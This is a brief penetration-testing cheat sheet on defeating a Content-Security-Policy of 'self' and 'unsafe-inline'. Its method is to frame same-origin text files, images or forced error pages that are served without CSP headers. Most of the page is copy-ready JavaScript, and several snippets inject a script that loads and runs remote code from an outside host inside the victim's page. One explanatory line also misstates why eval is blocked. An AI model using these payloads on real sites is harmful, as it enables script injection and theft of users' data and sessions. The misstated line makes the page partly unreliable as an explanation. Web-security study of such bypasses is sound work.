# CSP bypass: self + 'unsafe-inline' with Iframes

A configuration such as:

```
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
```

Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`

Any content from external sources is also blocked, including images, css, websockets, and, especially, JS

### Via text & images

Modern browsers transform images and texts o HTML files to visualize them better (set background, center...).

Therefore, if you **open an image or txt file** such as **favicon.ico** or **robots.txt** with an **`iframe`**, you will open it as HTML.

**These kind of pages usually doesn't have CSP headers and might not have X-Frame-Options**, so you can execute arbitrary JS from them:

```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```

### Via Errors

Same as text files or images, **error responses usually doesn't have CSP headers and might not have X-Frame-Options**. So, you can force errors and load them inside an iframe:

```javascript
// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
```

```javascript
// After any of the previous examples, you can execute JS in the iframe wih something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```

### References

* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)